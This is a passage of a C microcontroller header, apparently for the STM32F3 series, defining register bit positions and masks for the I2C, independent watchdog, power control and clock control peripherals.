0x00004000 */ #define I2C_CR2_STOP I2C_CR2_STOP_Msk /*!< STOP generation (master mode) */ #define I2C_CR2_NACK_Pos (15U) #define I2C_CR2_NACK_Msk (0x1U << I2C_CR2_NACK_Pos) /*!< 0x00008000 */ #define I2C_CR2_NACK I2C_CR2_NACK_Msk /*!< NACK generation (slave mode) */ #define I2C_CR2_NBYTES_Pos (16U) #define I2C_CR2_NBYTES_Msk (0xFFU << I2C_CR2_NBYTES_Pos) /*!< 0x00FF0000 */ #define I2C_CR2_NBYTES I2C_CR2_NBYTES_Msk /*!< Number of bytes */ #define I2C_CR2_RELOAD_Pos (24U) #define I2C_CR2_RELOAD_Msk (0x1U << I2C_CR2_RELOAD_Pos) /*!< 0x01000000 */ #define I2C_CR2_RELOAD I2C_CR2_RELOAD_Msk /*!< NBYTES reload mode */ #define I2C_CR2_AUTOEND_Pos (25U) #define I2C_CR2_AUTOEND_Msk (0x1U << I2C_CR2_AUTOEND_Pos) /*!< 0x02000000 */ #define I2C_CR2_AUTOEND I2C_CR2_AUTOEND_Msk /*!< Automatic end mode (master mode) */ #define I2C_CR2_PECBYTE_Pos (26U) #define I2C_CR2_PECBYTE_Msk (0x1U << I2C_CR2_PECBYTE_Pos) /*!< 0x04000000 */ #define I2C_CR2_PECBYTE I2C_CR2_PECBYTE_Msk /*!< Packet error checking byte */ /******************* Bit definition for I2C_OAR1 register ******************/ #define I2C_OAR1_OA1_Pos (0U) #define I2C_OAR1_OA1_Msk (0x3FFU << I2C_OAR1_OA1_Pos) /*!< 0x000003FF */ #define I2C_OAR1_OA1 I2C_OAR1_OA1_Msk /*!< Interface own address 1 */ #define I2C_OAR1_OA1MODE_Pos (10U) #define I2C_OAR1_OA1MODE_Msk (0x1U << I2C_OAR1_OA1MODE_Pos) /*!< 0x00000400 */ #define I2C_OAR1_OA1MODE I2C_OAR1_OA1MODE_Msk /*!< Own address 1 10-bit mode */ #define I2C_OAR1_OA1EN_Pos (15U) #define I2C_OAR1_OA1EN_Msk (0x1U << I2C_OAR1_OA1EN_Pos) /*!< 0x00008000 */ #define I2C_OAR1_OA1EN I2C_OAR1_OA1EN_Msk /*!< Own address 1 enable */ /******************* Bit definition for I2C_OAR2 register *******************/ #define I2C_OAR2_OA2_Pos (1U) #define I2C_OAR2_OA2_Msk (0x7FU << I2C_OAR2_OA2_Pos) /*!< 0x000000FE */ #define I2C_OAR2_OA2 I2C_OAR2_OA2_Msk /*!< Interface own address 2 */ #define I2C_OAR2_OA2MSK_Pos (8U) #define I2C_OAR2_OA2MSK_Msk (0x7U << I2C_OAR2_OA2MSK_Pos) /*!< 0x00000700 */ #define I2C_OAR2_OA2MSK I2C_OAR2_OA2MSK_Msk /*!< Own address 2 masks */ #define I2C_OAR2_OA2NOMASK (0x00000000U) /*!< No mask */ #define I2C_OAR2_OA2MASK01_Pos (8U) #define I2C_OAR2_OA2MASK01_Msk (0x1U << I2C_OAR2_OA2MASK01_Pos) /*!< 0x00000100 */ #define I2C_OAR2_OA2MASK01 I2C_OAR2_OA2MASK01_Msk /*!< OA2[1] is masked, Only OA2[7:2] are compared */ #define I2C_OAR2_OA2MASK02_Pos (9U) #define I2C_OAR2_OA2MASK02_Msk (0x1U << I2C_OAR2_OA2MASK02_Pos) /*!< 0x00000200 */ #define I2C_OAR2_OA2MASK02 I2C_OAR2_OA2MASK02_Msk /*!< OA2[2:1] is masked, Only OA2[7:3] are compared */ #define I2C_OAR2_OA2MASK03_Pos (8U) #define I2C_OAR2_OA2MASK03_Msk (0x3U << I2C_OAR2_OA2MASK03_Pos) /*!< 0x00000300 */ #define I2C_OAR2_OA2MASK03 I2C_OAR2_OA2MASK03_Msk /*!< OA2[3:1] is masked, Only OA2[7:4] are compared */ #define I2C_OAR2_OA2MASK04_Pos (10U) #define I2C_OAR2_OA2MASK04_Msk (0x1U << I2C_OAR2_OA2MASK04_Pos) /*!< 0x00000400 */ #define I2C_OAR2_OA2MASK04 I2C_OAR2_OA2MASK04_Msk /*!< OA2[4:1] is masked, Only OA2[7:5] are compared */ #define I2C_OAR2_OA2MASK05_Pos (8U) #define I2C_OAR2_OA2MASK05_Msk (0x5U << I2C_OAR2_OA2MASK05_Pos) /*!< 0x00000500 */ #define I2C_OAR2_OA2MASK05 I2C_OAR2_OA2MASK05_Msk /*!< OA2[5:1] is masked, Only OA2[7:6] are compared */ #define I2C_OAR2_OA2MASK06_Pos (9U) #define I2C_OAR2_OA2MASK06_Msk (0x3U << I2C_OAR2_OA2MASK06_Pos) /*!< 0x00000600 */ #define I2C_OAR2_OA2MASK06 I2C_OAR2_OA2MASK06_Msk /*!< OA2[6:1] is masked, Only OA2[7] are compared */ #define I2C_OAR2_OA2MASK07_Pos (8U) #define I2C_OAR2_OA2MASK07_Msk (0x7U << I2C_OAR2_OA2MASK07_Pos) /*!< 0x00000700 */ #define I2C_OAR2_OA2MASK07 I2C_OAR2_OA2MASK07_Msk /*!< OA2[7:1] is masked, No comparison is done */ #define I2C_OAR2_OA2EN_Pos (15U) #define I2C_OAR2_OA2EN_Msk (0x1U << I2C_OAR2_OA2EN_Pos) /*!< 0x00008000 */ #define I2C_OAR2_OA2EN I2C_OAR2_OA2EN_Msk /*!< Own address 2 enable */ /******************* Bit definition for I2C_TIMINGR register *****************/ #define I2C_TIMINGR_SCLL_Pos (0U) #define I2C_TIMINGR_SCLL_Msk (0xFFU << I2C_TIMINGR_SCLL_Pos) /*!< 0x000000FF */ #define I2C_TIMINGR_SCLL I2C_TIMINGR_SCLL_Msk /*!< SCL low period (master mode) */ #define I2C_TIMINGR_SCLH_Pos (8U) #define I2C_TIMINGR_SCLH_Msk (0xFFU << I2C_TIMINGR_SCLH_Pos) /*!< 0x0000FF00 */ #define I2C_TIMINGR_SCLH I2C_TIMINGR_SCLH_Msk /*!< SCL high period (master mode) */ #define I2C_TIMINGR_SDADEL_Pos (16U) #define I2C_TIMINGR_SDADEL_Msk (0xFU << I2C_TIMINGR_SDADEL_Pos) /*!< 0x000F0000 */ #define I2C_TIMINGR_SDADEL I2C_TIMINGR_SDADEL_Msk /*!< Data hold time */ #define I2C_TIMINGR_SCLDEL_Pos (20U) #define I2C_TIMINGR_SCLDEL_Msk (0xFU << I2C_TIMINGR_SCLDEL_Pos) /*!< 0x00F00000 */ #define I2C_TIMINGR_SCLDEL I2C_TIMINGR_SCLDEL_Msk /*!< Data setup time */ #define I2C_TIMINGR_PRESC_Pos (28U) #define I2C_TIMINGR_PRESC_Msk (0xFU << I2C_TIMINGR_PRESC_Pos) /*!< 0xF0000000 */ #define I2C_TIMINGR_PRESC I2C_TIMINGR_PRESC_Msk /*!< Timings prescaler */ /******************* Bit definition for I2C_TIMEOUTR register *****************/ #define I2C_TIMEOUTR_TIMEOUTA_Pos (0U) #define I2C_TIMEOUTR_TIMEOUTA_Msk (0xFFFU << I2C_TIMEOUTR_TIMEOUTA_Pos) /*!< 0x00000FFF */ #define I2C_TIMEOUTR_TIMEOUTA I2C_TIMEOUTR_TIMEOUTA_Msk /*!< Bus timeout A */ #define I2C_TIMEOUTR_TIDLE_Pos (12U) #define I2C_TIMEOUTR_TIDLE_Msk (0x1U << I2C_TIMEOUTR_TIDLE_Pos) /*!< 0x00001000 */ #define I2C_TIMEOUTR_TIDLE I2C_TIMEOUTR_TIDLE_Msk /*!< Idle clock timeout detection */ #define I2C_TIMEOUTR_TIMOUTEN_Pos (15U) #define I2C_TIMEOUTR_TIMOUTEN_Msk (0x1U << I2C_TIMEOUTR_TIMOUTEN_Pos) /*!< 0x00008000 */ #define I2C_TIMEOUTR_TIMOUTEN I2C_TIMEOUTR_TIMOUTEN_Msk /*!< Clock timeout enable */ #define I2C_TIMEOUTR_TIMEOUTB_Pos (16U) #define I2C_TIMEOUTR_TIMEOUTB_Msk (0xFFFU << I2C_TIMEOUTR_TIMEOUTB_Pos) /*!< 0x0FFF0000 */ #define I2C_TIMEOUTR_TIMEOUTB I2C_TIMEOUTR_TIMEOUTB_Msk /*!< Bus timeout B*/ #define I2C_TIMEOUTR_TEXTEN_Pos (31U) #define I2C_TIMEOUTR_TEXTEN_Msk (0x1U << I2C_TIMEOUTR_TEXTEN_Pos) /*!< 0x80000000 */ #define I2C_TIMEOUTR_TEXTEN I2C_TIMEOUTR_TEXTEN_Msk /*!< Extended clock timeout enable */ /****************** Bit definition for I2C_ISR register *********************/ #define I2C_ISR_TXE_Pos (0U) #define I2C_ISR_TXE_Msk (0x1U << I2C_ISR_TXE_Pos) /*!< 0x00000001 */ #define I2C_ISR_TXE I2C_ISR_TXE_Msk /*!< Transmit data register empty */ #define I2C_ISR_TXIS_Pos (1U) #define I2C_ISR_TXIS_Msk (0x1U << I2C_ISR_TXIS_Pos) /*!< 0x00000002 */ #define I2C_ISR_TXIS I2C_ISR_TXIS_Msk /*!< Transmit interrupt status */ #define I2C_ISR_RXNE_Pos (2U) #define I2C_ISR_RXNE_Msk (0x1U << I2C_ISR_RXNE_Pos) /*!< 0x00000004 */ #define I2C_ISR_RXNE I2C_ISR_RXNE_Msk /*!< Receive data register not empty */ #define I2C_ISR_ADDR_Pos (3U) #define I2C_ISR_ADDR_Msk (0x1U << I2C_ISR_ADDR_Pos) /*!< 0x00000008 */ #define I2C_ISR_ADDR I2C_ISR_ADDR_Msk /*!< Address matched (slave mode)*/ #define I2C_ISR_NACKF_Pos (4U) #define I2C_ISR_NACKF_Msk (0x1U << I2C_ISR_NACKF_Pos) /*!< 0x00000010 */ #define I2C_ISR_NACKF I2C_ISR_NACKF_Msk /*!< NACK received flag */ #define I2C_ISR_STOPF_Pos (5U) #define I2C_ISR_STOPF_Msk (0x1U << I2C_ISR_STOPF_Pos) /*!< 0x00000020 */ #define I2C_ISR_STOPF I2C_ISR_STOPF_Msk /*!< STOP detection flag */ #define I2C_ISR_TC_Pos (6U) #define I2C_ISR_TC_Msk (0x1U << I2C_ISR_TC_Pos) /*!< 0x00000040 */ #define I2C_ISR_TC I2C_ISR_TC_Msk /*!< Transfer complete (master mode) */ #define I2C_ISR_TCR_Pos (7U) #define I2C_ISR_TCR_Msk (0x1U << I2C_ISR_TCR_Pos) /*!< 0x00000080 */ #define I2C_ISR_TCR I2C_ISR_TCR_Msk /*!< Transfer complete reload */ #define I2C_ISR_BERR_Pos (8U) #define I2C_ISR_BERR_Msk (0x1U << I2C_ISR_BERR_Pos) /*!< 0x00000100 */ #define I2C_ISR_BERR I2C_ISR_BERR_Msk /*!< Bus error */ #define I2C_ISR_ARLO_Pos (9U) #define I2C_ISR_ARLO_Msk (0x1U << I2C_ISR_ARLO_Pos) /*!< 0x00000200 */ #define I2C_ISR_ARLO I2C_ISR_ARLO_Msk /*!< Arbitration lost */ #define I2C_ISR_OVR_Pos (10U) #define I2C_ISR_OVR_Msk (0x1U << I2C_ISR_OVR_Pos) /*!< 0x00000400 */ #define I2C_ISR_OVR I2C_ISR_OVR_Msk /*!< Overrun/Underrun */ #define I2C_ISR_PECERR_Pos (11U) #define I2C_ISR_PECERR_Msk (0x1U << I2C_ISR_PECERR_Pos) /*!< 0x00000800 */ #define I2C_ISR_PECERR I2C_ISR_PECERR_Msk /*!< PEC error in reception */ #define I2C_ISR_TIMEOUT_Pos (12U) #define I2C_ISR_TIMEOUT_Msk (0x1U << I2C_ISR_TIMEOUT_Pos) /*!< 0x00001000 */ #define I2C_ISR_TIMEOUT I2C_ISR_TIMEOUT_Msk /*!< Timeout or Tlow detection flag */ #define I2C_ISR_ALERT_Pos (13U) #define I2C_ISR_ALERT_Msk (0x1U << I2C_ISR_ALERT_Pos) /*!< 0x00002000 */ #define I2C_ISR_ALERT I2C_ISR_ALERT_Msk /*!< SMBus alert */ #define I2C_ISR_BUSY_Pos (15U) #define I2C_ISR_BUSY_Msk (0x1U << I2C_ISR_BUSY_Pos) /*!< 0x00008000 */ #define I2C_ISR_BUSY I2C_ISR_BUSY_Msk /*!< Bus busy */ #define I2C_ISR_DIR_Pos (16U) #define I2C_ISR_DIR_Msk (0x1U << I2C_ISR_DIR_Pos) /*!< 0x00010000 */ #define I2C_ISR_DIR I2C_ISR_DIR_Msk /*!< Transfer direction (slave mode) */ #define I2C_ISR_ADDCODE_Pos (17U) #define I2C_ISR_ADDCODE_Msk (0x7FU << I2C_ISR_ADDCODE_Pos) /*!< 0x00FE0000 */ #define I2C_ISR_ADDCODE I2C_ISR_ADDCODE_Msk /*!< Address match code (slave mode) */ /****************** Bit definition for I2C_ICR register *********************/ #define I2C_ICR_ADDRCF_Pos (3U) #define I2C_ICR_ADDRCF_Msk (0x1U << I2C_ICR_ADDRCF_Pos) /*!< 0x00000008 */ #define I2C_ICR_ADDRCF I2C_ICR_ADDRCF_Msk /*!< Address matched clear flag */ #define I2C_ICR_NACKCF_Pos (4U) #define I2C_ICR_NACKCF_Msk (0x1U << I2C_ICR_NACKCF_Pos) /*!< 0x00000010 */ #define I2C_ICR_NACKCF I2C_ICR_NACKCF_Msk /*!< NACK clear flag */ #define I2C_ICR_STOPCF_Pos (5U) #define I2C_ICR_STOPCF_Msk (0x1U << I2C_ICR_STOPCF_Pos) /*!< 0x00000020 */ #define I2C_ICR_STOPCF I2C_ICR_STOPCF_Msk /*!< STOP detection clear flag */ #define I2C_ICR_BERRCF_Pos (8U) #define I2C_ICR_BERRCF_Msk (0x1U << I2C_ICR_BERRCF_Pos) /*!< 0x00000100 */ #define I2C_ICR_BERRCF I2C_ICR_BERRCF_Msk /*!< Bus error clear flag */ #define I2C_ICR_ARLOCF_Pos (9U) #define I2C_ICR_ARLOCF_Msk (0x1U << I2C_ICR_ARLOCF_Pos) /*!< 0x00000200 */ #define I2C_ICR_ARLOCF I2C_ICR_ARLOCF_Msk /*!< Arbitration lost clear flag */ #define I2C_ICR_OVRCF_Pos (10U) #define I2C_ICR_OVRCF_Msk (0x1U << I2C_ICR_OVRCF_Pos) /*!< 0x00000400 */ #define I2C_ICR_OVRCF I2C_ICR_OVRCF_Msk /*!< Overrun/Underrun clear flag */ #define I2C_ICR_PECCF_Pos (11U) #define I2C_ICR_PECCF_Msk (0x1U << I2C_ICR_PECCF_Pos) /*!< 0x00000800 */ #define I2C_ICR_PECCF I2C_ICR_PECCF_Msk /*!< PAC error clear flag */ #define I2C_ICR_TIMOUTCF_Pos (12U) #define I2C_ICR_TIMOUTCF_Msk (0x1U << I2C_ICR_TIMOUTCF_Pos) /*!< 0x00001000 */ #define I2C_ICR_TIMOUTCF I2C_ICR_TIMOUTCF_Msk /*!< Timeout clear flag */ #define I2C_ICR_ALERTCF_Pos (13U) #define I2C_ICR_ALERTCF_Msk (0x1U << I2C_ICR_ALERTCF_Pos) /*!< 0x00002000 */ #define I2C_ICR_ALERTCF I2C_ICR_ALERTCF_Msk /*!< Alert clear flag */ /****************** Bit definition for I2C_PECR register ********************/ #define I2C_PECR_PEC_Pos (0U) #define I2C_PECR_PEC_Msk (0xFFU << I2C_PECR_PEC_Pos) /*!< 0x000000FF */ #define I2C_PECR_PEC I2C_PECR_PEC_Msk /*!< PEC register */ /****************** Bit definition for I2C_RXDR register *********************/ #define I2C_RXDR_RXDATA_Pos (0U) #define I2C_RXDR_RXDATA_Msk (0xFFU << I2C_RXDR_RXDATA_Pos) /*!< 0x000000FF */ #define I2C_RXDR_RXDATA I2C_RXDR_RXDATA_Msk /*!< 8-bit receive data */ /****************** Bit definition for I2C_TXDR register *********************/ #define I2C_TXDR_TXDATA_Pos (0U) #define I2C_TXDR_TXDATA_Msk (0xFFU << I2C_TXDR_TXDATA_Pos) /*!< 0x000000FF */ #define I2C_TXDR_TXDATA I2C_TXDR_TXDATA_Msk /*!< 8-bit transmit data */ /******************************************************************************/ /* */ /* Independent WATCHDOG (IWDG) */ /* */ /******************************************************************************/ /******************* Bit definition for IWDG_KR register ********************/ #define IWDG_KR_KEY_Pos (0U) #define IWDG_KR_KEY_Msk (0xFFFFU << IWDG_KR_KEY_Pos) /*!< 0x0000FFFF */ #define IWDG_KR_KEY IWDG_KR_KEY_Msk /*!< Key value (write only, read 0000h) */ /******************* Bit definition for IWDG_PR register ********************/ #define IWDG_PR_PR_Pos (0U) #define IWDG_PR_PR_Msk (0x7U << IWDG_PR_PR_Pos) /*!< 0x00000007 */ #define IWDG_PR_PR IWDG_PR_PR_Msk /*!< PR[2:0] (Prescaler divider) */ #define IWDG_PR_PR_0 (0x1U << IWDG_PR_PR_Pos) /*!< 0x00000001 */ #define IWDG_PR_PR_1 (0x2U << IWDG_PR_PR_Pos) /*!< 0x00000002 */ #define IWDG_PR_PR_2 (0x4U << IWDG_PR_PR_Pos) /*!< 0x00000004 */ /******************* Bit definition for IWDG_RLR register *******************/ #define IWDG_RLR_RL_Pos (0U) #define IWDG_RLR_RL_Msk (0xFFFU << IWDG_RLR_RL_Pos) /*!< 0x00000FFF */ #define IWDG_RLR_RL IWDG_RLR_RL_Msk /*!< Watchdog counter reload value */ /******************* Bit definition for IWDG_SR register ********************/ #define IWDG_SR_PVU_Pos (0U) #define IWDG_SR_PVU_Msk (0x1U << IWDG_SR_PVU_Pos) /*!< 0x00000001 */ #define IWDG_SR_PVU IWDG_SR_PVU_Msk /*!< Watchdog prescaler value update */ #define IWDG_SR_RVU_Pos (1U) #define IWDG_SR_RVU_Msk (0x1U << IWDG_SR_RVU_Pos) /*!< 0x00000002 */ #define IWDG_SR_RVU IWDG_SR_RVU_Msk /*!< Watchdog counter reload value update */ #define IWDG_SR_WVU_Pos (2U) #define IWDG_SR_WVU_Msk (0x1U << IWDG_SR_WVU_Pos) /*!< 0x00000004 */ #define IWDG_SR_WVU IWDG_SR_WVU_Msk /*!< Watchdog counter window value update */ /******************* Bit definition for IWDG_KR register ********************/ #define IWDG_WINR_WIN_Pos (0U) #define IWDG_WINR_WIN_Msk (0xFFFU << IWDG_WINR_WIN_Pos) /*!< 0x00000FFF */ #define IWDG_WINR_WIN IWDG_WINR_WIN_Msk /*!< Watchdog counter window value */ /******************************************************************************/ /* */ /* Power Control */ /* */ /******************************************************************************/ #define PWR_PVD_SUPPORT /*!< PWR feature available only on specific devices: Power Voltage Detection feature */ /******************** Bit definition for PWR_CR register ********************/ #define PWR_CR_LPDS_Pos (0U) #define PWR_CR_LPDS_Msk (0x1U << PWR_CR_LPDS_Pos) /*!< 0x00000001 */ #define PWR_CR_LPDS PWR_CR_LPDS_Msk /*!< Low-power Deepsleep */ #define PWR_CR_PDDS_Pos (1U) #define PWR_CR_PDDS_Msk (0x1U << PWR_CR_PDDS_Pos) /*!< 0x00000002 */ #define PWR_CR_PDDS PWR_CR_PDDS_Msk /*!< Power Down Deepsleep */ #define PWR_CR_CWUF_Pos (2U) #define PWR_CR_CWUF_Msk (0x1U << PWR_CR_CWUF_Pos) /*!< 0x00000004 */ #define PWR_CR_CWUF PWR_CR_CWUF_Msk /*!< Clear Wakeup Flag */ #define PWR_CR_CSBF_Pos (3U) #define PWR_CR_CSBF_Msk (0x1U << PWR_CR_CSBF_Pos) /*!< 0x00000008 */ #define PWR_CR_CSBF PWR_CR_CSBF_Msk /*!< Clear Standby Flag */ #define PWR_CR_PVDE_Pos (4U) #define PWR_CR_PVDE_Msk (0x1U << PWR_CR_PVDE_Pos) /*!< 0x00000010 */ #define PWR_CR_PVDE PWR_CR_PVDE_Msk /*!< Power Voltage Detector Enable */ #define PWR_CR_PLS_Pos (5U) #define PWR_CR_PLS_Msk (0x7U << PWR_CR_PLS_Pos) /*!< 0x000000E0 */ #define PWR_CR_PLS PWR_CR_PLS_Msk /*!< PLS[2:0] bits (PVD Level Selection) */ #define PWR_CR_PLS_0 (0x1U << PWR_CR_PLS_Pos) /*!< 0x00000020 */ #define PWR_CR_PLS_1 (0x2U << PWR_CR_PLS_Pos) /*!< 0x00000040 */ #define PWR_CR_PLS_2 (0x4U << PWR_CR_PLS_Pos) /*!< 0x00000080 */ /*!< PVD level configuration */ #define PWR_CR_PLS_LEV0 (0x00000000U) /*!< PVD level 0 */ #define PWR_CR_PLS_LEV1 (0x00000020U) /*!< PVD level 1 */ #define PWR_CR_PLS_LEV2 (0x00000040U) /*!< PVD level 2 */ #define PWR_CR_PLS_LEV3 (0x00000060U) /*!< PVD level 3 */ #define PWR_CR_PLS_LEV4 (0x00000080U) /*!< PVD level 4 */ #define PWR_CR_PLS_LEV5 (0x000000A0U) /*!< PVD level 5 */ #define PWR_CR_PLS_LEV6 (0x000000C0U) /*!< PVD level 6 */ #define PWR_CR_PLS_LEV7 (0x000000E0U) /*!< PVD level 7 */ #define PWR_CR_DBP_Pos (8U) #define PWR_CR_DBP_Msk (0x1U << PWR_CR_DBP_Pos) /*!< 0x00000100 */ #define PWR_CR_DBP PWR_CR_DBP_Msk /*!< Disable Backup Domain write protection */ /******************* Bit definition for PWR_CSR register ********************/ #define PWR_CSR_WUF_Pos (0U) #define PWR_CSR_WUF_Msk (0x1U << PWR_CSR_WUF_Pos) /*!< 0x00000001 */ #define PWR_CSR_WUF PWR_CSR_WUF_Msk /*!< Wakeup Flag */ #define PWR_CSR_SBF_Pos (1U) #define PWR_CSR_SBF_Msk (0x1U << PWR_CSR_SBF_Pos) /*!< 0x00000002 */ #define PWR_CSR_SBF PWR_CSR_SBF_Msk /*!< Standby Flag */ #define PWR_CSR_PVDO_Pos (2U) #define PWR_CSR_PVDO_Msk (0x1U << PWR_CSR_PVDO_Pos) /*!< 0x00000004 */ #define PWR_CSR_PVDO PWR_CSR_PVDO_Msk /*!< PVD Output */ #define PWR_CSR_EWUP1_Pos (8U) #define PWR_CSR_EWUP1_Msk (0x1U << PWR_CSR_EWUP1_Pos) /*!< 0x00000100 */ #define PWR_CSR_EWUP1 PWR_CSR_EWUP1_Msk /*!< Enable WKUP pin 1 */ #define PWR_CSR_EWUP2_Pos (9U) #define PWR_CSR_EWUP2_Msk (0x1U << PWR_CSR_EWUP2_Pos) /*!< 0x00000200 */ #define PWR_CSR_EWUP2 PWR_CSR_EWUP2_Msk /*!< Enable WKUP pin 2 */ #define PWR_CSR_EWUP3_Pos (10U) #define PWR_CSR_EWUP3_Msk (0x1U << PWR_CSR_EWUP3_Pos) /*!< 0x00000400 */ #define PWR_CSR_EWUP3 PWR_CSR_EWUP3_Msk /*!< Enable WKUP pin 3 */ /******************************************************************************/ /* */ /* Reset and Clock Control */ /* */ /******************************************************************************/ /* * @brief Specific device feature definitions (not present on all devices in the STM32F3 serie) */ /******************** Bit definition for RCC_CR register ********************/ #define RCC_CR_HSION_Pos (0U) #define RCC_CR_HSION_Msk (0x1U << RCC_CR_HSION_Pos) /*!< 0x00000001 */ #define RCC_CR_HSION RCC_CR_HSION_Msk #define RCC_CR_HSIRDY_Pos (1U) #define RCC_CR_HSIRDY_Msk (0x1U << RCC_CR_HSIRDY_Pos) /*!< 0x00000002 */ #define RCC_CR_HSIRDY RCC_CR_HSIRDY_Msk #define RCC_CR_HSITRIM_Pos (3U) #define RCC_CR_HSITRIM_Msk (0x1FU << RCC_CR_HSITRIM_Pos) /*!< 0x000000F8 */ #define RCC_CR_HSITRIM RCC_CR_HSITRIM_Msk #define RCC_CR_HSITRIM_0 (0x01U << RCC_CR_HSITRIM_Pos) /*!< 0x00000008 */ #define RCC_CR_HSITRIM_1 (0x02U << RCC_CR_HSITRIM_Pos) /*!< 0x00000010 */ #define RCC_CR_HSITRIM_2 (0x04U << RCC_CR_HSITRIM_Pos) /*!< 0x00000020 */ #define RCC_CR_HSITRIM_3 (0x08U << RCC_CR_HSITRIM_Pos) /*!< 0x00000040 */ #define RCC_CR_HSITRIM_4 (0x10U << RCC_CR_HSITRIM_Pos) /*!< 0x00000080 */ #define RCC_CR_HSICAL_Pos (8U) #define RCC_CR_HSICAL_Msk (0xFFU << RCC_CR_HSICAL_Pos) /*!< 0x0000FF00 */ #define RCC_CR_HSICAL RCC_CR_HSICAL_Msk #define RCC_CR_HSICAL_0 (0x01U << RCC_CR_HSICAL_Pos) /*!< 0x00000100 */ #define RCC_CR_HSICAL_1 (0x02U << RCC_CR_HSICAL_Pos) /*!< 0x00000200 */ #define RCC_CR_HSICAL_2 (0x04U << RCC_CR_HSICAL_Pos) /*!< 0x00000400 */ #define RCC_CR_HSICAL_3 (0x08U << RCC_CR_HSICAL_Pos) /*!< 0x00000800 */ #define RCC_CR_HSICAL_4 (0x10U << RCC_CR_HSICAL_Pos) /*!< 0x00001000 */ #define RCC_CR_HSICAL_5 (0x20U << RCC_CR_HSICAL_Pos) /*!< 0x00002000 */ #define RCC_CR_HSICAL_6 (0x40U << RCC_CR_HSICAL_Pos) /*!< 0x00004000 */ #define RCC_CR_HSICAL_7 (0x80U << RCC_CR_HSICAL_Pos) /*!< 0x00008000 */ #define RCC_CR_HSEON_Pos (16U) #define RCC_CR_HSEON_Msk (0x1U << RCC_CR_HSEON_Pos) /*!< 0x00010000 */ #define RCC_CR_HSEON RCC_CR_HSEON_Msk #define RCC_CR_HSERDY_Pos (17U) #define RCC_CR_HSERDY_Msk (0x1U << RCC_CR_HSERDY_Pos) /*!< 0x00020000 */ #define RCC_CR_HSERDY RCC_CR_HSERDY_Msk #define RCC_CR_HSEBYP_Pos (18U) #define RCC_CR_HSEBYP_Msk (0x1U << RCC_CR_HSEBYP_Pos) /*!< 0x00040000 */ #define RCC_CR_HSEBYP RCC_CR_HSEBYP_Msk #define RCC_CR_CSSON_Pos (19U) #define RCC_CR_CSSON_Msk (0x1U << RCC_CR_CSSON_Pos) /*!< 0x00080000 */ #define RCC_CR_CSSON RCC_CR_CSSON_Msk #define RCC_CR_PLLON_Pos (24U) #define RCC_CR_PLLON_Msk (0x1U << RCC_CR_PLLON_Pos) /*!< 0x01000000 */ #define RCC_CR_PLLON RCC_CR_PLLON_Msk #define RCC_CR_PLLRDY_Pos (25U) #define RCC_CR_PLLRDY_Msk (0x1U << RCC_CR_PLLRDY_Pos) /*!< 0x02000000 */ #define RCC_CR_PLLRDY RCC_CR_PLLRDY_Msk /******************** Bit definition for RCC_CFGR register ******************/ /*!< SW configuration */ #define RCC_CFGR_SW_Pos (0U) #define RCC_CFGR_SW_Msk (0x3U << RCC_CFGR_SW_Pos) /*!< 0x00000003 */ #define RCC_CFGR_SW RCC_CFGR_SW_Msk /*!< SW[1:0] bits (System clock Switch) */ #define RCC_CFGR_SW_0 (0x1U << RCC_CFGR_SW_Pos) /*!< 0x00000001 */ #define RCC_CFGR_SW_1 (0x2U << RCC_CFGR_SW_Pos) /*!< 0x00000002 */ #define RCC_CFGR_SW_HSI (0x00000000U) /*!< HSI selected as system clock */ #define RCC_CFGR_SW_HSE (0x00000001U) /*!< HSE selected as system clock */ #define RCC_CFGR_SW_PLL (0x00000002U) /*!< PLL selected as system clock */ /*!< SWS configuration */ #define RCC_CFGR_SWS_Pos (2U) #define RCC_CFGR_SWS_Msk (0x3U << RCC_CFGR_SWS_Pos) /*!< 0x0000000C */ #define RCC_CFGR_SWS RCC_CFGR_SWS_Msk /*!< SWS[1:0] bits (System Clock Switch Status) */ #define RCC_CFGR_SWS_0 (0x1U << RCC_CFGR_SWS_Pos) /*!< 0x00000004 */ #define RCC_CFGR_SWS_1 (0x2U << RCC_CFGR_SWS_Pos) /*!< 0x00000008 */ #define RCC_CFGR_SWS_HSI (0x00000000U) /*!< HSI oscillator used as system clock */ #define RCC_CFGR_SWS_HSE (0x00000004U) /*!< HSE oscillator used as system clock */ #define RCC_CFGR_SWS_PLL (0x00000008U) /*!< PLL used as system clock */ /*!< HPRE configuration */ #define RCC_CFGR_HPRE_Pos (4U) #define RCC_CFGR_HPRE_Msk (0xFU << RCC_CFGR_HPRE_Pos) /*!< 0x000000F0 */ #define RCC_CFGR_HPRE RCC_CFGR_HPRE_Msk /*!< HPRE[3:0] bits (AHB prescaler) */ #define RCC_CFGR_HPRE_0 (0x1U << RCC_CFGR_HPRE_Pos) /*!< 0x00000010 */ #define RCC_CFGR_HPRE_1 (0x2U << RCC_CFGR_HPRE_Pos) /*!< 0x00000020 */ #define RCC_CFGR_HPRE_2 (0x4U << RCC_CFGR_HPRE_Pos) /*!< 0x00000040 */ #define RCC_CFGR_HPRE_3 (0x8U << RCC_CFGR_HPRE_Pos) /*!< 0x00000080 */ #define RCC_CFGR_HPRE_DIV1 (0x00000000U) /*!< SYSCLK not divided */ #define RCC_CFGR_HPRE_DIV2 (0x00000080U) /*!< SYSCLK divided by 2 */ #define RCC_CFGR_HPRE_DIV4 (0x00000090U) /*!< SYSCLK divided by 4 */ #define RCC_CFGR_HPRE_DIV8 (0x000000A0U) /*!< SYSCLK divided by 8 */ #define RCC_CFGR_HPRE_DIV16 (0x000000B0U) /*!< SYSCLK divided by 16 */ #define RCC_CFGR_HPRE_DIV64 (0x000000C0U) /*!< SYSCLK divided by 64 */ #define RCC_CFGR_HPRE_DIV128 (0x000000D0U) /*!< SYSCLK divided by 128 */ #define RCC_CFGR_HPRE_DIV256 (0x000000E0U) /*!< SYSCLK divided by 256 */ #define RCC_CFGR_HPRE_DIV512 (0x000000F0U) /*!< SYSCLK divided by 512 */ /*!< PPRE1 configuration */ #define RCC_CFGR_PPRE1_Pos (8U) #define RCC_CFGR_PPRE1_Msk (0x7U << RCC_CFGR_PPRE1_Pos) /*!< 0x00000700 */ #define RCC_CFGR_PPRE1 RCC_CFGR_PPRE1_Msk /*!< PRE1[2:0] bits (APB1 prescaler) */ #define RCC_CFGR_PPRE1_0 (0x1U << RCC_CFGR_PPRE1_Pos) /*!< 0x00000100 */ #define RCC_CFGR_PPRE1_1 (0x2U << RCC_CFGR_PPRE1_Pos) /*!< 0x00000200 */ #define RCC_CFGR_PPRE1_2 (0x4U << RCC_CFGR_PPRE1_Pos) /*!< 0x00000400 */ #define RCC_CFGR_PPRE1_DIV1 (0x00000000U) /*!< HCLK not divided */ #define 